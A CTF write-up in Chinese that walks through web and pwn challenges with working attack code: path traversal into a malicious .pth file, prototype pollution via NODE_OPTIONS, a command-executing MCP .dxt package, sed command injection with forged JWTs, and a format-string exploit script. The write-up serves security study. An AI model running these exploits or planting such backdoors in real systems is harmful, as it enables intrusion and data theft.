这时代码执行接口 ,os.path.join 是直接拼接我们的文件名

python3 -c "import os; print(os.path.join('/app/uploads', '/etc/passwd'))"

截屏2026-03-30 16.23.11

非常好啊,猜想都应证了

launcher.py 是沙箱启动器截屏2026-03-30 15.28.13

这17行直接将上传的文件夹直接放到沙箱内的 /app/run.py,可疑

OK,我们本地启动一下 Mac 不行,要用 Linux

截屏2026-03-30 16.14.20

再看 launcher.py,proot 挂载了 -b /usr,也就是吧整个 /usr 目录挂进到沙箱里去了

然后 server.py 启动时也直接把这个路径打印出来提示我们:

[*] Target site-packages (Try to reach here): /usr/local/lib/python3.10/dist-packages

也就是说,沙箱内的 Python 和宿主机共享同一个包目录。如果我们能往这里写东西,沙箱启动时就会加载它。

现在的问题就是要往**dist-packages 里写什么** ,等等先试试下面这个

python3 -c "
import site
print(site.getsitepackages())
"

截屏2026-03-30 16.47.07

是的,在Python 启动时,site 模块会自动扫描这几个目录

还有就是 server.py 启动日志里提示目标是 dist-packages,联想到 Python 启动时会自动加载 .pth 文件

只要我们以 import 开头,Python 就会直接 exec() 执行它

site 模块扫描这些目录时,会读取里面所有的 .pth 文件。正常情况下 .pth 用来添加额外的模块搜索路径,每行写一个路径就行。

我们可以验证一下,本地试试:

截屏2026-03-30 16.52.39

到了妹妹来帮我们理一下思路喽【哲风壁纸】卢昱晓-女明星-户外

路径穿越写文件  →  写恶意 .pth 到 dist-packages  →  触发 Python 启动  →  .pth 自动执行  →  Capture the flag

构造 .pth payload

import os; print(open('/flag').read())

路径穿越写文件

curl -X POST http://nihaohaha123.challenge.ctfplus.cn//upload \
  -F "file=@/dev/stdin;filename=pwn.pth" \
  -F "filename=../../usr/local/lib/python3.10/dist-packages/pwn.pth" \
  <<< "import os; print(open('/flag' ).read())"

截屏2026-03-30 17.07.28

都忘记了,靶机用的是 site-packages

curl -X POST http://nihaohaha123.challenge.ctfplus.cn/upload \
  -F "file=@/dev/stdin;filename=pwn.pth" \
  -F "filename=../../usr/local/lib/python3.10/site-packages/pwn.pth" \
  <<< "import os; print(open('/flag' ).read())"

截屏2026-03-30 17.08.18

上传一个触发用的 py 文件

echo 'print("nihaohaha123" )' > nihaohaha123.py
curl -X POST http://nihaohaha123.challenge.ctfplus.cn//upload \
  -F "file=@nihaohaha123.py" \
  -F "filename=nihaohaha123.py"

截屏2026-03-30 17.08.31

**CTF **

curl -X POST http://nihaohaha123.challenge.ctfplus.cn/run \
  -H "Content-Type: application/json" \
  -d '{"filename": "nihaohaha123.py"}'

截屏2026-03-30 17.08.55

搞定

ezpollute

截屏2026-03-30 17.31.05

附件是 app.js

贴一下整段代码:

const express = require('express');
const { spawn } = require('child_process');
const path = require('path');

const app = express();
app.use(express.json());
app.use(express.static(__dirname));

function merge(target, source, res) {
    for (let key in source) {
        if (key === '__proto__') {
            if (res) {
                res.send('get out!');
                return;
            }
            continue;
        } 
        
        if (source[key] instanceof Object && key in target) {
            merge(target[key], source[key], res);
        } else {
            target[key] = source[key];
        }
    }
}

let config = {
    name: "CTF-Guest",
    theme: "default"
};

app.post('/api/config', (req, res) => {
    let userConfig = req.body;

    const forbidden = ['shell', 'env', 'exports', 'main', 'module', 'request', 'init', 'handle','environ','argv0','cmdline'];
    const bodyStr = JSON.stringify(userConfig).toLowerCase();
    for (let word of forbidden) {
        if (bodyStr.includes(`"${word}"`)) {
            return res.status(403).json({ error: `Forbidden keyword detected: ${word}` });
        }
    }

    try {
        merge(config, userConfig, res);
        res.json({ status: "success", msg: "Configuration updated successfully." });
    } catch (e) {
        res.status(500).json({ status: "error", message: "Internal Server Error" });
    }
});

app.get('/api/status', (req, res) => {

    const customEnv = Object.create(null);
    for (let key in process.env) {
        if (key === 'NODE_OPTIONS') {
            const value = process.env[key] || "";

            const dangerousPattern = /(?:^|\s)--(require|import|loader|openssl|icu|inspect)\b/i;

            if (!dangerousPattern.test(value)) {
                customEnv[key] = value;
            }
            continue;
        }
        customEnv[key] = process.env[key];
    }
    
    const proc = spawn('node', ['-e', 'console.log("System Check: Node.js is running.")'], {
        env: customEnv,
        shell: false 
    });
    
    let output = '';
    proc.stdout.on('data', (data) => { output += data; });
    proc.stderr.on('data', (data) => { output += data; });
    
    proc.on('close', (code) => {
        res.json({ 
            status: "checked", 
            info: output.trim() || "No output from system check."
        });
    });
});

app.get('/', (req, res) => {
    res.sendFile(path.join(__dirname, 'index.html'));
});

// Flag 位于 /flag
app.listen(3000, '0.0.0.0', () => {
    console.log('Server running on port 3000');
});

有两个主要 API 接口:/api/config 用来更新配置,/api/status 用来检查系统状态

我们审计过后,发现老朋友了, merge 函数

function merge(target, source, res) {
    for (let key in source) {
        if (key === '__proto__') {
            if (res) {
                res.send('get out!');
                return;
            }
            continue;
        } 
        
        if (source[key] instanceof Object && key in target) {
            merge(target[key], source[key], res);
        } else {
            target[key] = source[key];
        }
    }
}

嗯哼,对 __proto__ 关键字进行了过滤,但是没过滤 constructorprototype

那我们就可以用 constructor.prototype 来绕过这个限制,实现原型链污染。

漏洞就在这!

然后在 /api/config 路由中,接收到 JSON 之后还进行了一次黑名单

截屏2026-03-30 17.34.44

然后就是调用 merge(config, userConfig, res) 将输入合并到 config

接着!!! 我们看看污染什么能拿到 flag。

/api/status 路由中,应用使用 child_process.spawn 执行了一个 Node.js 命令:

截屏2026-03-30 17.36.22

这里是在尝试将当前进程的环境变量复制到 customEnv 中,因为 process.env 是个普通对象,for...in 会遍历到原型链上的属性。

所以如果我们污染了 Object.prototype.NODE_OPTIONS,它就会被读出来,塞进 customEnv 里,最后传给 spawn 的子进程

但是这里还对环境变量进行了正则过滤

const dangerousPattern = /(?:^|\s)--(require|import|loader|openssl|icu|inspect)\b/i;

它把 --require 给 ban 了。

-r 随便绕过

我们的目标是读 /flag。既然能控制 NODE_OPTIONS,那我们就直接传 -r /flag

当 Node.js 启动时,会尝试 require('/flag')。因为 flag 文件内容不是合法的 JS 代码,Node.js 会报错,并且把文件内容打印在错误堆栈里。

/api/status 刚好会把 stderr 的输出返回给我们。

理一下思路吧:

  1. /api/config 发 payload,用 constructor.prototype 污染 NODE_OPTIONS-r /flag
  2. 访问 /api/status 触发 spawn,拿到报错信息里的 flag。

ok,开始构造

curl -X POST http://3000-3c6e83af-194a-4670-b6d0-c3544733534a.challenge.ctfplus.cn/api/config \
  -H "Content-Type: application/json" \
  -d '{"constructor":{"prototype":{"NODE_OPTIONS":"-r /flag"}}}'

上传成功后,调用 /api/status 触发执行

curl http://3000-3c6e83af-194a-4670-b6d0-c3544733534a.challenge.ctfplus.cn/api/status
{
  "status": "checked",
  "info": "/flag:1\nXMCTF{ac2ab16c-3a8e-438b-a39b-52c4360e10d6}\n     ^\n\nSyntaxError: Unexpected token '{'\n    at internalCompileFunction (node:internal/vm:76:18)\n    at wrapSafe (node:internal/modules/cjs/loader:1283:20)\n    ..."
}

拿下拿下

这里贴个美女小庆祝一下

【哲风壁纸】女明星-王楚然

DXT

一个简单的mcp_server

截屏2026-03-30 15.34.19

要上传一个**.dxt** 文件上去,学习一下

截屏2026-03-30 17.56.43

.dxt 文件本质是一个 ZIP 压缩包,内部必须包含 manifest.json

关键字段是 server.mcp_config.commandargs,决定服务器进程如何启动。

参考:https://github.com/modelcontextprotocol/mcpb/blob/main/MANIFEST.md

找一下 API 接口截屏2026-03-30 17.13.03截屏2026-03-30 17.13.45截屏2026-03-30 17.14.17截屏2026-03-30 17.14.48截屏2026-03-30 17.15.12

有 /upload 有 /servers 的 start 和 stop

没事我们就先造一个dxt传上去

cat > manifest.json << 'EOF'
{
  "dxt_version": "0.1",
  "name": "test-server",
  "display_name": "Test Server",
  "version": "1.0.0",
  "description": "A test server",
  "author": {"name": "test", "email": "test@test.com"},
  "server": {
    "type": "node",
    "entry_point": "server/index.js",
    "mcp_config": {
      "command": "node",
      "args": ["server/index.js"]
    }
  }
}
EOF

压缩一下,截屏2026-03-30 18.43.27

上传一下,

curl -s -X POST "http://nihaohaha123.challenge.ctfplus.cn/api/upload" \
  -F "file=@../test.dxt"

截屏2026-03-30 18.44.37

ok ,上传成功并且返回了一个 server id:e677d3f8-decf-4558-a27e-73bbe223a99c

调用 /start 启动

curl -s -X POST "http://nihaohaha123.challenge.ctfplus.cn/api/servers/e677d3f8-decf-4558-a27e-73bbe223a99c/start"

截屏2026-03-30 18.47.59

这报错真是神人,告诉我们 command 字段被原样传给系统 exec 调用,且目标环境没有安装 node

RCE

因为 command 我们可以控制,然后后端直接 exec 执行,所以说我们只需要把 command 改成系统自带的 sh

然后在 args 里传入我们自己写的恶意路径,就能实现 RCE

由于 commandargs 完全由用户控制,且没有任何白名单限制,这是一个典型的命令注入漏洞。我们只需要将 command 修改为系统中存在的解释器(如 sh),就可以执行任意命令。

构造恶意 DXT 包

我们可以构造一个伪造的 MCP 服务器,由于后端通过 stdio与服务器通信,直接写一个 shell

1. 编写恶意 Shell 脚本 (server/mcp_server.sh)

#!/bin/sh
# 伪造的 MCP 服务器脚本,用于拦截后端指令并实现 RCE

# 持续循环读取标准输入中的每一行指令
while read line; do
    # 逻辑判断:如果指令中包含 "tools/call",说明后端正在尝试调用某个工具
    if echo "$line" | grep -q "tools/call"; then
        # 1. 提取 JSON 中的 "cmd" 参数值
        # 这里使用 sed 正则匹配出 "cmd":"..." 之间的内容
        CMD=$(echo "$line" | sed -n 's/.*"cmd":"\([^"]*\)".*/\1/p')
        
        # 2. 执行提取出的系统命令,并将结果存入 RESULT 变量
        # 2>&1 将错误输出也捕获到结果中
        # tr -d '\n' 去掉换行符,防止破坏返回的 JSON 格式
        # sed 's/"/\\"/g' 转义结果中的双引号,确保 JSON 合法
        RESULT=$(eval "$CMD" 2>&1 | tr -d '\n' | sed 's/"/\\"/g')
        
        # 3. 构造并返回符合 MCP 协议规范的响应 JSON
        # 后端接收到这个 stdout 输出后,会将其解析并展示在前端
        echo "{\"jsonrpc\":\"2.0\",\"id\":1,\"result\":{\"content\":[{\"type\":\"text\",\"text\":\"$RESULT\"}]}}"
    else
        # 逻辑判断:如果是初始化(initialize)或其他非工具调用请求
        # 返回一个最简化的成功响应,让后端认为服务器已正常启动并就绪
        echo "{\"jsonrpc\":\"2.0\",\"id\":1,\"result\":{\"protocolVersion\":\"2024-11-05\",\"capabilities\":{},\"serverInfo\":{\"name\":\"evil-mcp\",\"version\":\"1.0\"}}}"
    fi
done

然后 chmod +x server/mcp_server.sh

manifest.json

脚本好了,现在我们要让后端用 sh 去运行这个脚本”。

{
  "dxt_version": "0.1",
  "name": "evil-server",
  "display_name": "Evil Server",
  "version": "1.0.0",
  "description": "Exploit Server",
  "author": {
    "name": "hacker",
    "email": "hacker@evil.com"
  },
  "server": {
    "type": "node",
    "entry_point": "server/mcp_server.sh",
    "mcp_config": {
      "command": "sh",
      "args": ["server/mcp_server.sh"]
    }
  }
}
zip -r ../evil.dxt .

上传:

curl -s -X POST "http://nihaohaha123.challenge.ctfplus.cn/api/upload" \
  -F "file=@../evil.dxt"

截屏2026-03-30 19.14.55

server_id 是 f953bb61-2f28-46ae-897b-0e5f4ed7980d

启动

curl -s -X POST "http://nihaohaha123.challenge.ctfplus.cn/api/servers/f953bb61-2f28-46ae-897b-0e5f4ed7980d/start"

截屏2026-03-30 19.16.35

ls

curl -s -X POST "http://8080-98656417-469c-47b7-9980-d1e140399f4e.challenge.ctfplus.cn/api/servers/f953bb61-2f28-46ae-897b-0e5f4ed7980d/call" \
  -H "Content-Type: application/json" \
  -d '{"Name": "exec", "Arguments": {"cmd": "ls /"}}'

截屏2026-03-30 19.36.53

OK,虽然忘记空格了,但没关系

# 先重新 start 服务器(因为每次 call 后进程会退出)
curl -s -X POST "http://8080-98656417-469c-47b7-9980-d1e140399f4e.challenge.ctfplus.cn/api/servers/f953bb61-2f28-46ae-897b-0e5f4ed7980d/start"

# 再读取 flag
curl -s -X POST "http://8080-98656417-469c-47b7-9980-d1e140399f4e.challenge.ctfplus.cn/api/servers/f953bb61-2f28-46ae-897b-0e5f4ed7980d/call" \
  -H "Content-Type: application/json" \
  -d '{"Name": "exec", "Arguments": {"cmd": "cat /flag"}}'

截屏2026-03-30 19.38.43

拿下

【哲风壁纸】明星-清新-美女

下面是 PWN、Crypto、MISC 和 Reverse ,哎,这四个方向因为我才开始学,都是 Agents跑出来的,呜呜呜

=================== PWN ===================

【PWN】 IoT Guardian (ct)

难度:中等
方向:IoT / Pwn / Web
目标读者:零基础小白(本文将详细解释每一个漏洞的原理和利用思路)


📝 0x00 题目背景与初步信息收集

拿到题目后,我们首先会得到一个附件 pwn-ct.zip,同时还有一个目标网站的 URL。

1. 分析附件

解压附件后,我们发现里面有两个文件:

  • nginx:一个 Nginx 的可执行文件(二进制文件)。
  • default.conf:Nginx 的配置文件。

💡 小白科普:什么是 Nginx? Nginx 是一个非常流行的 Web 服务器和反向代理服务器。简单来说,它就像是一个“门卫”,负责接收用户的 HTTP 请求,然后把请求转发给后端的不同服务。

打开 default.conf,我们能看到这个网站的架构:

server {
    listen 80;
    server_name iot-guardian.local;
    
    # 静态文件目录
    location /static {
        alias /var/www/static/;
    }
    
    # 设备 API(公开,无需认证)
    location /api/devices {
        proxy_pass http://nihaohaha123:12345;
    }
    
    # 配置服务(需要 JWT 认证)
    # 配置文件路径:/var/www/app/config.yaml
    location /api/config/ {
        proxy_pass http://nihaohaha123:12345;
    }
    
    # 管理员配置面板
    location /admin/config/ {
        proxy_pass http://nihaohaha123:12345/api/config/;
    }
}

从中我们获得了非常重要的情报:

  1. 后端有多个微服务(运行在 3001、3002 端口)。
  2. /api/config//admin/config/ 接口需要 JWT 认证
  3. 服务器上有一个重要的配置文件,路径在 /var/www/app/config.yaml

🔍 0x01 突破口:Nginx Alias 路径遍历漏洞

仔细观察配置文件中的这一段:

location /static {
    alias /var/www/static/;
}

💣 漏洞科普:Nginx Alias 目录穿越 在 Nginx 中,alias 用于将 URL 映射到服务器的某个目录。 如果 location 后面没有加斜杠/static),而 alias 后面加了斜杠/var/www/static/),就会产生一个经典的漏洞。

当我们访问 /static../ 时,Nginx 会将其替换为 /var/www/static/../。 在 Linux 系统中,../ 代表“上一级目录”。所以 /var/www/static/../ 实际上就是 /var/www/! 这样,我们就可以跳出原本限制的 static 目录,访问服务器上的其他文件了。

根据前面的情报,我们知道配置文件在 /var/www/app/config.yaml。 利用这个漏洞,我们构造 URL: http://目标IP/static../app/config.yaml

访问后,成功下载到了后端的配置文件!内容如下:

# IoT Guardian Config Service
service:
  name: config-service
  version: "1.0.0"

# JWT Authentication
jwt_secret: "iot-guardian-s3cret-key-2024"

# Data directory for device configurations
data_dir: "/data/devices"

我们拿到了 JWT 的密钥(Secret):iot-guardian-s3cret-key-2024


🔑 0x02 伪造身份:JWT Token 签发

💡 小白科普:什么是 JWT? JWT(JSON Web Token)是网站用来验证用户身份的一种凭证。它由三部分组成,其中最后一部分是签名(Signature)。 服务器使用一个只有它自己知道的**密钥(Secret)**来生成签名。如果黑客不知道密钥,就无法伪造 Token。 但现在,我们已经通过漏洞拿到了密钥!

既然有了密钥,我们就可以自己写一段 Python 代码,伪造一个“管理员”的 Token:

import jwt
import time

# 刚刚偷到的密钥
secret = 'iot-guardian-s3cret-key-2024'

# 伪造管理员身份
payload = {
    'sub': 'admin',
    'role': 'admin',
    'iat': int(time.time()),
    'exp': int(time.time()) + 3600
}

# 生成 Token
token = jwt.encode(payload, secret, algorithm='HS256')
print('伪造的 Token:', token)

有了这个 Token,我们就可以在 HTTP 请求头中加上 Authorization: Bearer <Token>,从而合法地访问 /admin/config/update 等管理员接口了。


💻 0x03 深入敌后:逆向分析 Go 二进制文件

虽然我们能访问管理员接口了,但怎么拿到服务器上的 Flag 呢?我们需要找到**命令执行(RCE)**漏洞。

利用之前的 Nginx 目录穿越漏洞,我们不仅能下载配置文件,还能把后端的程序源码(二进制文件)下载下来: 访问 http://目标IP/static../app/config-service 下载配置服务程序。

通过分析发现,这是一个用 Go 语言编写的程序。我们使用逆向工具(如 IDA、Ghidra 或 objdump)分析它的内部逻辑,重点关注处理 /admin/config/update 接口的函数 handleConfigUpdate

在逆向分析中,我们发现了两个关键点:

1. 底层使用了 sed 命令

程序在更新设备配置时,并没有使用安全的文件读写,而是直接调用了系统的 sed 命令:

sed 's#.*old_value.*#new_value#' config_file

这里的 old_valuenew_value 都是我们通过 API 传进去的参数!如果能闭合这个命令,我们就能执行任意代码。

2. 存在黑名单过滤

程序作者似乎意识到了危险,写了一个 filterNewValue 函数,过滤了以下危险字符: ;, $, (, ), &, >, <, !, \n, \r, \, |, `(反引号)。

这意味着我们常用的命令拼接符(如 ;|&&)都不能用了。


💥 0x04 致命一击:Sed 命令注入与黑名单绕过

🧠 核心思考:如何在没有分号和管道符的情况下执行命令?

仔细观察 sed 命令的格式: sed 's#.*old_value.*#new_value#'

注意这里的分隔符是 #。而 # 并没有在黑名单中! 这意味着我们可以在 new_value 中输入 #,提前闭合替换规则。

更巧妙的是,seds(替换)命令支持一个非常危险的标志:e (execute)。 当使用 e 标志时,sed 会将替换后的结果当作 Shell 命令执行,并将命令的输出替换回文件中!

构造 Payload: 假设我们传入:

  • old_value = DefaultSSID
  • new_value = cat /flag#e

拼接进底层的命令后,变成了:

sed 's#.*DefaultSSID.*#cat /flag#e' config_file

这句命令的意思是:

  1. 找到包含 DefaultSSID 的那一行。
  2. 将整行替换为字符串 cat /flag
  3. 因为有 #e 标志,sed 会在后台执行 cat /flag 命令!
  4. cat /flag 的输出结果(也就是真正的 flag)写回配置文件中。

随后,API 会将更新后的配置文件内容返回给我们,我们就能在响应中看到 Flag 了!


🚩 0x05 最终 Exploit 脚本

将以上所有步骤整合,我们写出最终的 Python 解题脚本:

import jwt
import time
import requests

# 1. 使用通过目录穿越获取的 Secret 伪造 JWT Token
secret = 'iot-guardian-s3cret-key-2024'
payload = {
    'sub': 'admin',
    'role': 'admin',
    'iat': int(time.time()),
    'exp': int(time.time()) + 3600
}
token = jwt.encode(payload, secret, algorithm='HS256')

# 2. 设置请求头和目标 URL
base_url = 'http://nihaohaha123:12345'
headers = {
    'Authorization': f'Bearer {token}', 
    'Content-Type': 'application/json'
}

# 3. 发送带有 Sed 'e' flag 注入的 Payload
data = {
    'device_id': 'cam-01', 
    'old_value': 'DefaultSSID', 
    # 注入 #e 标志,执行 cat /flag 命令
    'new_value': 'cat /flag#e'
}

print("[*] 正在发送 Payload...")
response = requests.post(f'{base_url}/admin/config/update', headers=headers, json=data)

# 4. 从返回的配置内容中提取 Flag
if response.status_code == 200:
    print("[+] 攻击成功!服务器返回内容:\n")
    # Flag 会混在返回的配置文件内容中
    print(response.text)
else:
    print("[-] 攻击失败:", response.text)

运行脚本后,在返回的一大串配置信息中,赫然出现了我们的目标: polarisctf{nihaohaha123}

🎉 完结撒花!


📚 总结与防御建议

这道题非常贴近真实的 IoT 安全场景,融合了 Web 和 Pwn 的思路。

  1. Nginx 配置错误alias 忘记加斜杠是一个极其常见的低级错误,会导致整个服务器文件泄露。
  2. 硬编码密钥:将 JWT Secret 明文写在配置文件中,一旦文件泄露,整个认证系统形同虚设。
  3. 危险的系统调用:在代码中直接拼接字符串调用 sed 等系统命令是非常危险的。即使做了黑名单过滤,攻击者依然能利用 sed 自身的特性(如 e 标志)完成命令执行。正确的做法是使用编程语言自带的文件读写库(如 Go 的 osio 包)来修改文件,彻底杜绝命令注入。

【PWN】 ez_nc

题目信息

  • 题目类型:Pwn
  • 题目名称:ez_nc
  • 服务地址:nihaohaha123:12345
  • 题目提示:该如何获取ez-nc文件呢?

这题的关键不是传统意义上的 getshell,而是想办法把被黑名单拦住的程序本体 ez-nc 读出来。程序本体里直接藏着 flag,只要能把二进制下载下来,这题就结束了。

最终 flag:

polarisctf{nihaohaha123}

一、先看程序本体

远程服务没有直接提供附件,但这题本身就在引导我们“获取 ez-nc 文件”。一开始可以先对服务做简单测试,观察它的交互:

Enter the filename to download:

如果输入 flag,服务会返回:

File content:
nothing here.

这说明服务逻辑很直接:

  1. 读入一个“文件名”
  2. 打开这个文件
  3. 把文件内容回显出来

但是输入 ez-nc 会被拦:

Access to this file is forbidden.

所以题目的核心就变成:

如何在不直接输入 ez-nc 的前提下,让程序去打开它自己?

二、利用格式化字符串把程序本体下载下来

1. 先枚举格式化字符串参数

这类题第一反应就是试探格式化字符串。远程可以用一个小脚本枚举 %N$p

import socket, time

HOST = "nc1.ctfplus.cn"
PORT = 30127

def query(payload: bytes) -> bytes:
    s = socket.create_connection((HOST, PORT), timeout=5)
    s.settimeout(1)
    try:
        s.recv(4096)
    except OSError:
        pass
    s.sendall(payload)
    time.sleep(0.05)
    out = b""
    while True:
        try:
            chunk = s.recv(4096)
        except OSError:
            break
        if not chunk:
            break
        out += chunk
    s.close()
    return out

for i in range(1, 81):
    payload = ("%" + str(i) + "$p\n").encode()
    print(i, query(payload))

我实际扫出来的关键位置如下:

13 -> 0x5649ff111369
19 -> 0x5649ff111369
45 -> 0x7ffc5675be10
46 -> (nil)
47 -> KUBERNETES_SERVICE_PORT=449
48 -> KUBERNETES_PORT=1449
49 -> HOSTNAME=...
50 -> HOME=/root
58 -> PWD=/home/geesec
59 -> FLAG=
60 -> REMOTE_HOST=10.10.0.19

这个结果很有意思:

  • %47$s 以后已经明显进入 envp
  • %46$s 是空指针
  • 按 Linux 进程启动时的栈布局,argv 后面就是 NULL,再后面才是 envp

因此可以合理推出:

%45$s 很可能就是 argv[0]

也就是程序启动时自己的路径。

2. 直接试 %45$s

%45$s 发送给服务,返回的不是报错,而是:

File content:
\x7fELF...

开头直接是 ELF 魔数:

7f 45 4c 46

这已经说明两件事:

  1. %45$s 被成功展开成了一个合法路径
  2. 这个路径对应的文件就是程序本体

也就是说,%45$s 最终等价于:

argv[0] -> 当前程序文件路径 -> 打开程序自己

题目这时候其实已经被打穿了。


三、把下载下来的 ELF 落到本地分析

我用下面这个脚本把远程回显的程序内容完整保存为本地文件:

#!/usr/bin/env python3
import pathlib
import re
import socket
import time

HOST = "nc1.ctfplus.cn"
PORT = 30127
PAYLOAD = b"%45$s\x00\x00"
OUTFILE = pathlib.Path("ez-nc_downloaded")

def fetch_binary() -> bytes:
    s = socket.create_connection((HOST, PORT), timeout=5)
    s.settimeout(1)
    try:
        s.recv(4096)
    except OSError:
        pass

    s.sendall(PAYLOAD)
    time.sleep(0.1)

    data = b""
    while True:
        try:
            chunk = s.recv(65536)
        except OSError:
            break
        if not chunk:
            break
        data += chunk
    s.close()

    prefix = b"File content:\n"
    assert data.startswith(prefix)
    return data[len(prefix):]

blob = fetch_binary()
OUTFILE.write_bytes(blob)
print(f"saved {OUTFILE}, size={len(blob)}")

m = re.search(rb"polarisctf\{[^}]+\}", blob)
if m:
    print(m.group(0).decode())

运行后输出:

saved ez-nc_downloaded, size=16873
polarisctf{nihaohaha123}

说明 flag 就在二进制里。


四、逆向分析程序逻辑

把下载到的文件丢给 checksec

Arch:       amd64-64-little
RELRO:      Full RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        PIE enabled
SHSTK:      Enabled
IBT:        Enabled
Stripped:   No

再看字符串:

2008 polarisctf{nihaohaha123}
2040 Enter the filename to download:
2063 ez-nc
2069 proc
2070 Access to this file is forbidden.
2095 bad filename.
20a8 %s not existed or could not be opened.
20d0 File content:

核心逻辑在 main,关键汇编如下:

1440: call fgets
1456: call strcspn
145b: mov byte ptr [rbp + rax - 0x10], 0

1471: call strstr      ; strstr(buf, "ez-nc")
1476: test rax, rax
1479: jne forbidden

148c: call strstr      ; strstr(buf, "proc")
1491: test rax, rax
1494: je  continue

1496: puts("Access to this file is forbidden.")

14bb: call strstr      ; strstr(buf, "%c")
14c0: test rax, rax
14c3: je  continue

14c5: puts("bad filename.")

14ee: call snprintf    ; snprintf(dst, 0x58, buf)
1504: call fopen       ; fopen(dst, "r")
15bd: puts("File content:")
15d9: call fwrite
1600: jmp 13de         ; 进入下一轮

把它翻译成伪代码就是:

char buf[8];
char *filename = malloc(0x58);

while (1) {
    memset(buf, 0, 8);
    memset(filename, 0, 0x58);

    printf("Enter the filename to download: ");
    fgets(buf, 8, stdin);
    buf[strcspn(buf, "\n")] = 0;

    if (strstr(buf, "ez-nc") || strstr(buf, "proc")) {
        puts("Access to this file is forbidden.");
        continue;
    }

    if (strstr(buf, "%c")) {
        puts("bad filename.");
        continue;
    }

    snprintf(filename, 0x58, buf);
    FILE *fp = fopen(filename, "r");
    if (!fp) {
        printf("%s not existed or could not be opened.\n", filename);
        continue;
    }

    // 读取文件并输出
}

五、漏洞本质

这题真正的漏洞点在这一句:

snprintf(filename, 0x58, buf);

注意这里把 buf 直接当成了 format string,却没有提供任何后续参数。

正常应该是:

snprintf(filename, 0x58, "%s", buf);

而现在程序写成了:

snprintf(filename, 0x58, buf);

于是用户输入如果包含格式化说明符,比如 %45$ssnprintf 就会把“本不该当参数解释的栈上内容”当成参数来读。

这就是典型的格式化字符串漏洞,只不过这里不是 printf(buf) 直接输出,而是先通过 snprintf 构造“文件名”。

所以利用目标不再是泄露地址或覆写 GOT,而是:

让 snprintf 帮我们拼出一个被黑名单禁止但我们又不能直接输入的文件路径

六、为什么 %45$s 能绕过黑名单

黑名单检查发生在 snprintf 之前,而且只检查用户原始输入:

if (strstr(buf, "ez-nc") || strstr(buf, "proc")) ...

也就是说,程序只会检查:

%45$s

它不会检查 %45$ssnprintf 展开之后的结果。

1. 原始输入可以过黑名单

%45$s 既不包含:

  • ez-nc
  • proc
  • %c

所以它完全能通过前置检查。

2. 展开后却变成了程序路径

snprintf 处理 %45$s 时,会把第 45 个“参数”当成 char * 使用。

根据枚举结果:

  • %46$s == NULL
  • %47$s 开始是环境变量

所以 %45$s 很自然就是 argv[0]

argv[0] 一般就是程序自己的启动路径。于是:

snprintf(filename, 0x58, "%45$s")

等价于:

filename = argv[0]

接下来:

fopen(filename, "r");

就成功打开了程序自己。

这也是题目提示“该如何获取 ez-nc 文件呢?”的真正含义。


七、为什么题目还专门过滤了 %c

程序里还有一段:

if (strstr(buf, "%c")) {
    puts("bad filename.");
    continue;
}

这说明出题人知道格式化字符串会被利用,所以特地把 %c 封掉了。

通常 %c 会被用来:

  • 精细控制输出长度
  • 配合 %n 做任意写
  • 组合更复杂的格式化字符串利用

但这里其实不需要这些重型利用。因为题目目标不是劫持控制流,而是“拿到二进制本体”,而 %45$s 这条路径已经足够直接。

换句话说:

这题最优解不是打任意写,而是直接利用 snprintf 帮我们拼出 argv[0]

八、flag 在哪里

把下载下来的 ELF 看 .rodata

Contents of section .rodata:
 2000 01000200 00000000 706f6c61 72697363
 2010 74667b30 36393461 6339352d 32326235
 2020 2d343266 642d3838 66622d36 35353232
 2030 66353961 3137627d 00000000 00000000

直接转成字符串就是:

polarisctf{nihaohaha123}

这也是为什么读到程序本体后题目就结束了。


九、最终利用脚本

我本地整理后的最终脚本如下:

#!/usr/bin/env python3
import pathlib
import re
import socket
import time

HOST = "nc1.ctfplus.cn"
PORT = 30127
PAYLOAD = b"%45$s\x00\x00"
OUTFILE = pathlib.Path("ez-nc_downloaded")

def fetch_binary() -> bytes:
    s = socket.create_connection((HOST, PORT), timeout=5)
    s.settimeout(1)
    try:
        s.recv(4096)
    except OSError:
        pass

    s.sendall(PAYLOAD)
    time.sleep(0.1)

    data = b""
    while True:
        try:
            chunk = s.recv(65536)
        except OSError:
            break
        if not chunk:
            break
        data += chunk

    s.close()
    prefix = b"File content:\n"
    if not data.startswith(prefix):
        raise RuntimeError(data[:120])
    return data[len(prefix):]

def main() -> None:
    blob = fetch_binary()
    OUTFILE.write_bytes(blob)

    m = re.search(rb"polarisctf\{[^}]+\}", blob)
    print(f"saved: {OUTFILE}")
    print(f"size: {len(blob)}")
    print(f"flag: {m.group(0).decode() if m else 'not found'}")

if __name__ == "__main__":
    main()

十、总结

这题表面上看像是“下载文件”题,实际上是一个很干净的格式化字符串利用题。

真正的突破点有两个:

  1. 程序把用户输入直接丢给了 snprintf 当格式串
  2. 黑名单只检查“展开前”的原始输入,不检查“展开后”的真实文件名

所以我们不需要直接输入 ez-nc,也不需要复杂的格式化字符串写内存,只要:

利用 %45$s 取出 argv[0]

就能让程序自己把自己的文件打开并回显出来,最终从二进制里直接拿到 flag。

一句话总结:

黑名单拦的是输入,snprintf 生成的才是真正拿去 fopen 的文件名。

【PWN】 ph

题目类型

这题本质上是一个 PHP 扩展漏洞利用题。

题目页面只有一个上传点,但服务端加载了自定义扩展 vuln.so,并暴露了 3 个可直接在 PHP 脚本中调用的函数:

  • add(idx, size)
  • edit(idx, data)
  • delete(idx)

由于题目允许上传任意 PHP 文件,所以我们可以自己上传脚本,直接调用扩展函数完成利用。

漏洞分析

1. 负索引越界

add(idx, size)edit(idx, data) 只检查了 idx > 15,却没有检查 idx < 0

这意味着像 edit(-1, ...)edit(-63, ...) 这样的调用不会被拦截,从而可以写到数组前面的内存区域,形成越界写。

2. delete() 释放后不清空

delete(idx) 在释放指针后没有把槽位置空,因此还带有 UAF/double-free 风险。

不过这题最稳、最直接的解法并不需要走复杂堆利用,而是直接把越界写转成任意地址写,再改 GOT。

利用思路

核心思路是:

  1. 先泄露 /proc/self/maps,拿到 vuln.solibc.so.6 的基址。
  2. 利用负索引越界写,篡改某个正常槽位的指针。
  3. 让这个槽位“指向” _efree@GOT
  4. 再通过正常的 edit(),把 _efree@GOT 改写为 system
  5. 最后调用 delete(),程序原本想执行 _efree(ptr),实际会变成 system(ptr)

这样我们只要把待释放的内容写成命令字符串,就能直接命令执行。

信息泄露

先上传一个最简单的泄露脚本:

<?php
@error_reporting(0);
@include '/proc/self/maps';
?>

对应文件就是 leak_maps.php

访问后,从返回内容里解析两行:

  • vuln.so 且 offset 为 00000000 的首地址
  • libc.so.6 且 offset 为 00000000 的首地址

然后计算:

